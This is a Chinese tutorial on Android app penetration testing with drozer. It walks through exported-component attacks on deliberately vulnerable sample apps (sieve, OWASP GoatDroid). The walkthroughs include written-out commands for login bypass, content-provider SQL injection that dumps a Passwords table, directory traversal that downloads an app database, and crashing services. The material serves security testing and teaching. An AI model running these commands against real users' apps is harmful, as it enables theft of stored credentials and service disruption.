由于前段时间遇到 Android APP 测试的需求增大,之前对于 APP 测试基本是基于常规功能点的测试,没有进行过多深入的学习,于是根据网上师傅们的文章思路学习了一下,简单总结成该文。本文主要介绍 Android APP 测试中四大组件相关测试手段,其余 APP 功能点测试与 WEB 端测试如出一辙。
Android 四大组件分别是 Activity、Content Provider、Broadcast Receiver 以及 Service
组件名称 | 具体用途 |
---|---|
Activity | 展示组件,用于向用户直接展示一个界面,而且可以接受用户的输入信息从而进行交互 |
Content Provider | 数据共享组件,用于向其他组件乃至其他应用共享数据 |
Broadcast Receiver | 通讯组件,用于在不同组件甚至不同应用中传递消息 |
Service | 能在后台执行长期运行操作的组件,它没有UI界面,运行在宿主进程的主线程中,因此执行耗时的后台计算任务需要在单独的线程中去完成 |
drozer 安装在 Windows 下,安装环境必须为 python 2.7,下载地址 Github、官网
1、安装 drozer 前先安装 python 2.7,安装时选择自动添加环境变量
安装完成,测试是否成功安装
2、安装 dorzer ,下载 drozer 后点击安装,由于系统没有识别到 Python2.7,所以我们需要指定 python2.7 路径,若系统能识别到,则选择 python2.7 即可
drozer 成功安装后,软件位于 Python 2.7 下的 Scripts 目录下
3、手机安装 drozer-agent-2.3.4.apk
,点击下载 安装完成后,测试是否可正常使用。首先进入 dorzer-agent app 点击右下按钮,开启端口转发功能。然后使用具备数据传输的 USB 线
,手机连接电脑,点击文件传输使电脑可连接至手机
使用 adb 软件进行端口转发,使手机与电脑可进行通信,命令:adb forward tcp:31415 tcp:31415
点击下载adb
注意:当使用 adb 进行端口转发,若出现报错,error: no devices/emulators found
,原因是我们手机没有开启开发者模式,只需打开手机开发者模式,开启 USB 调试功能,根据自身手机品牌自行进行操作,开启后再次再次执行命令 adb.exe forward tcp:31415 tcp:31415
即可。
最后进入 Python27\Scripts 目录下执行命令开启 drozer 与手机连接通道 drozer.bat console connect
,如果报错 ImportError: No module named google.protobuf
,则需要安装依赖。
cmd 命令行执行逐一安装即可
pip2 install protobuf -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install pyopenssl -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install pyyaml -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install twisted -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install service_identity -i https://pypi.tuna.tsinghua.edu.cn/simple
安装依赖后再次执行命令 drozer.bat console connect
,drozer 成功连接手机,drozer 启动成功
至此 drozer 安装及测试已全部完成。
由上面我们知道 Activity 为展示组件,用于向用户直接展示一个界面,而且可以接受用户的输入信息从而进行交互。具体漏洞类型及危害如下:
漏洞种类 | 危害 |
---|---|
越权绕过 | Activity 用户界面绕过会造成用户信息窃取 |
拒绝服务 | 通过 Intent 给 Activity 传输畸形数据使得程序崩溃从而影响用户体验 |
Activity 劫持 | 组件导出导致钓鱼欺诈,Activity 界面被劫持产生欺诈等安全事件 |
隐式启动 intent 包含敏感数据 | 敏感信息泄露 |
在 Android 系统中,Activity 组件默认是不导出的,如果 AndroidManifest.xml
中设置了 exported = "true"
这样的关键值或者是添加了<intent-filter>
这样的属性,那么此时 Activity 组件是导出的,就会引发越权绕过或者是泄露敏感信息等的安全风险。(导出:组件可以被外部应用调用; AndroidManifest.xml:应用清单,每个Android APP必备的文件配置,反编译后可查看其详细配置代码)
例子:测试样本 sieve.apk,下载地址:https://github.com/as0ler/Android-Examples
1、手机安装 sieve.apk、drozer-agent.apk,sieve app 界面如下图左,按照上面文章 drozer 安装部分,配置好相关测试环境,手机端点击 drozer 右下角打开代理,利用 adb 进行端口转发,界面如下图右
adb开启端口转发:adb.exe forward tcp:31415 tcp:31415
drozer 连接手机:drozer.bat console connect
2、尝试利用 drozer 越权绕过 sieve app 登录界面
列出手机程序中所有的 APP 包名
run app.package.list
如上图出现文字乱码,解决方案如下:
Everything 搜索,找到位于 Python27 目录下的 package.py
添加如下代码
import sys reload(sys) sys.setdefaultencoding('utf-8')
360、362行添加字母 u
重新启动 drozer,再次执行命令 run app.package.list
列出所有手机已安装程序的包名
由于列出的包名众多,无法正确分辨需测试的 APP 包名为哪个,我们转用 GetAPKInfo 工具来获取 sieve app 包名, java -jar GetAPKInfo.jar C:\Users\Boom\Desktop\sieve.apk
然后 drozer 直接搜索包名信息 com.mwr.example.sieve,该APP具体信息如下
我们直接去查询目标应用的攻击面,通过下图可知 Activity 有3个组件是可以导出的
run app.package.attacksurface com.mwr.example.sieve
查看具体可导出的 Activity 组件信息
run app.activity.info -a com.mwr.example.sieve
调用组件,实现登录绕过界面(由于测试样本不支持高版本 Android,所以这里使用 MuMu 模拟器进行测试,实现绕过),其它 Activity 导出组件绕过测试只需更换组件名即可
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
例子:劫持测试 APP 下载地址:https://github.com/yanghaoi/android_app
1、手机安装点击劫持软件 uihijackv2.0_sign.apk , drozer 开启端口转发,adb 连接 drozer
2、打开被测软件界面,这里被测软件也是使用 drozer,然后 Windows 通过 drozer 命令调用劫持软件 uihijackv2.0_sign
,若 uihijackv2.0_sign 界面位于被测软件上,则存在漏洞(如下图)
,若被测页面无变化则不存在漏洞。
run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity
例子:测试 APP 下载地址:https://github.com/downloads/jackMannino/OWASP-GoatDroid-Project/OWASP-GoatDroid-0.9.zip
1、利用 drozer 直接查看暴露的组件,然后进行调用,查看是否出现程序崩溃情况。通过 GetAPKInfo 工具来获取 APP 包名为 org.owasp.goatdroid.fourgoats
2、安装 OWASP GoatDroid- FourGoats Android App.apk
软件,利用 drozer 查看其暴露组件
run app.package.attacksurface org.owasp.goatdroid.fourgoats
查看具体暴露组件
run app.activity.info -a org.owasp.goatdroid.fourgoats
3、调用组件,查看是否导致拒绝服务,若程序出现 程序崩溃
、已停止运行
等程序无法运行或自动退出行为则为攻击成功。查看例子:http://rui0.cn/archives/30
数据共享组件,用于向其他组件乃至其他应用共享数据,由此可推算,该组件漏洞与数据相关。
漏洞种类 | 危害 |
---|---|
信息泄露 | 查看组件数据信息 |
SQL注入 | 注入获取相关数据 |
目录遍历 | 访问任意可读文件 |
1、依然使用 seive.apk 作为测试 app,但需要在第一次安装打开时需要设置账号密码
2、利用 drozer 查看 provider 数据组件具体的攻击面
run app.provider.info -a com.mwr.example.sieve
3、对 com.mwr.example.sieve.DBContentProvider
攻击面进行测试,列出 URI
run app.provider.finduri com.mwr.example.sieve
4、利用 drozer 扫描模块对列出的 URI 进行扫描,查看可访问的 URI ,三个 URI 可访问
run scanner.provider.finduris -a com.mwr.example.sieve
5、访问URI,查看具体内容 ,由下图可知,刚才我们所填的数据全部列了出来
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
1、进一步测试可访问的 URI 是否存在注入
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
出现语法错误,存在SQL注入
2、利用 drozer 内置注入扫描模块进行扫描,扫描存在注入
run scanner.provider.injection -a com.mwr.example.sieve
3、继续利用,列出所有数据表,得知数据库表有 name
、android_metadata
、Passwords
、Key
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
4、单独查看表中数据,例查询 Passwords
表数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Passwords;--"
1、利用 drozer 自带模块扫描目录遍历,存在两个漏洞 content://com.mwr.example.sieve.FileBackupProvider/
,content://com.mwr.example.sieve.FileBackupProvider
2、对其 URI 进行文件读取
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
3、读取更多信息
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db
4、下载文件 (C:\Users\oooo\Desktop\database.db为文件保存路径)
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\\Users\\oooo\\Desktop\\database.db
漏洞种类 | 危害 |
---|---|
敏感信息泄露 | 发送的intent没有明确指定接收者,而是简单的通过action进行匹配,恶意应用便可以注册一个广播接收者嗅探拦截到这个广播,如果这个广播存在敏感数据,就被恶意应用窃取了。 |
权限绕过 | 可以通过两种方式注册广播接收器,一种是在AndroidManifest.xml文件中通过<receiver>标签静态注册,另一种是通过Context.registerReceiver()动态注册,指定相应的intentFilter参数,动态注册的广播默认都是导出的,如果导出的BroadcastReceiver没有做权限控制,导致BroadcastReceiver组件可以接收一个外部可控的url、或者其他命令,导致攻击者可以越权利用应用的一些特定功能,比如发送恶意广播、伪造消息、任意应用下载安装、打开钓鱼网站等</receiver> |
消息伪造 | 暴露的Receiver对外接收Intent,如果构造恶意的消息放在Intent中传输,被调用的Receiver接收可能产生安全隐患 |
拒绝服务 | 如果敏感的BroadcastReceiver没有设置相应的权限保护,很容易受到攻击。最常见的是拒绝服务攻击。拒绝服务攻击指的是,传递恶意畸形的intent数据给广播接收器,广播接收器无法处理异常导致crash。 拒绝服务攻击的危害视具体业务场景而定,比如一个安全防护产品的拒绝服务、锁屏应用的拒绝服务、支付进程的拒绝服务等危害就是巨大的。 |
1、查看针对 broadcast 数据组件具体的攻击面
run app.service.info -a org.owasp.goatdroid.fourgoats
2、针对 service 攻击面进行测试需要先找到相应的 action 名,这边使用 jadx 进行反编译,查看 AndroidManifest.xml 寻找 action
打开 FourGoats app 停留在首页界面,由于存漏洞,直接调用导致拒绝服务,APP程序自动退出,返回桌面
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService
3、直接利用反编译获取的 action 名执行命令也可导致拒绝服务
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
未执行前
执行后,程序退出,导致拒绝服务
利用 jadx 反编译 apk,查看 broadcast receivers 模块具体代码,审计代码可知发送广播需要两个参数命令
具体执行代码为
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 13800000000 --extra string message test
参考文章:Service(服务)是一个一种可以在后台执行长时间运行操作而没有用户界面的应用组件。服务可由其他应用组件启动(如Activity),服务一旦被启动将在后台一直运行,即使启动服务的组件(Activity)已销毁也不受影响。 此外,组件可以绑定到服务,以与之进行交互,甚至是执行进程间通信 (IPC)。
漏洞种类 | 危害 |
---|---|
权限提升 | 当一个service配置了intent- filter默认是被导出的,如果没对调用Service进行权限,限制或者是没有对调用者的身份进行有效验证,那么恶意构造的APP都可以对此Service传入恰当的参数进行调用,导致恶意行为发生比如调用具有system权限的删除卸载服务删除卸载其他应用。 |
service劫持 | 隐式启动services,当存在同名services,先安装应用的services优先级高 |
消息伪造 | 暴露的Service对外接收Intent,如果构造恶意的消息放在Intent中传输,被调用的Service接收可能产生安全隐患 |
拒绝服务 | Service的拒绝服务主要来源于Service启动时对接收的Intent等没有做异常情况下的处理,导致程序崩溃 |
具体例子请参考文章:https://bbs.pediy.com/thread-269255.htm
adb查看连接设备的android日志
//格式1:打印默认日志数据
adb logcat
//格式2:需要打印日志详细时间的简单数据
adb logcat -v time
//格式3:需要打印级别为Error的信息
adb logcat *:E
//格式4:需要打印时间和级别是Error的信息
adb logcat -v time *:E
//格式5:将日志保存到电脑固定的位置,比如D:\log.txt
adb logcat -v time >D:\log.txt
//格式5:日志监听
adb logcat |grep packagename(app包名)
模块名 | 作用 |
---|---|
app.activity.forintent | 通过intent查找它的activity |
app.activity.info | 获取activities信息 |
app.activity.start | 开启 Activity |
app.broadcast.info | 获取broadcast receivers信息 |
app.broadcast.send | 发送广播 |
app.broadcast.sniff | 嗅探广播中intent的数据 |
app.package.attacksurface | 确定安装包的可攻击面 |
app.package.backup | 列出可备份的包 |
app.package.debuggable | 列出可debug的包 |
app.package.info | 获取已安装包的信息 |
app.package.launchintent | 获取程序启动的activity信息 |
app.package.list | 手机已安装的程序包 |
app.package.manifest | 获取程序manifest文件信息 |
app.package.native | 列出Native libraries 信息 |
app.package.shareduid | 查找拥有共同uid的包和他们所有的权限 |
app.provider.columns | 展示content provider URI的各列 |
app.provider.delete | 删除content provider URI的内容 |
app.provider.download | 使用openInputStream读取指定uri的内容,并下载在电脑中 |
app.provider.info | 获取 content providers信息 |
app.provider.insert | 插入数据到content provider |
app.provider.query | 查询content provider 内容 |
app.provider.read | 使用openInputStream读取指定uri的内容 |
app.provider.update | 更新content provider的内容 |
app.service.info | 获取services的信息 |
app.service.send | 使用 Message攻击暴露的service,其service实现了handleMessage |
app.service.start | 开启服务 |
app.service.stop | 停止服务 |
文章编写断断续续,主要是复现环境弄得比较费劲,内容多为参考网上师傅们的文章,属于前人栽树,后人乘凉了,知识点也是好几年前的知识,一系列学习下来,扩展了 APP 测试的思路,总体上基于 drozer 工具下进行测试,根据每个组件的特性进行单点突破。
https://blog.yorek.xyz/android/paid/zsxq/week17-android-components/
https://bbs.pediy.com/thread-269211.htm
https://bbs.pediy.com/thread-269255.htm
https://bbs.pediy.com/thread-269309.htm
https://bbs.pediy.com/thread-269447.htm
https://www.cnblogs.com/wjrblogs/p/13953761.html
https://dl.google.com/android/repository/platform-tools_r33.0.3-windows.zip
https://bbs.pediy.com/thread-262208.htm
https://www.cnblogs.com/zhaoyixiang/p/11236458.html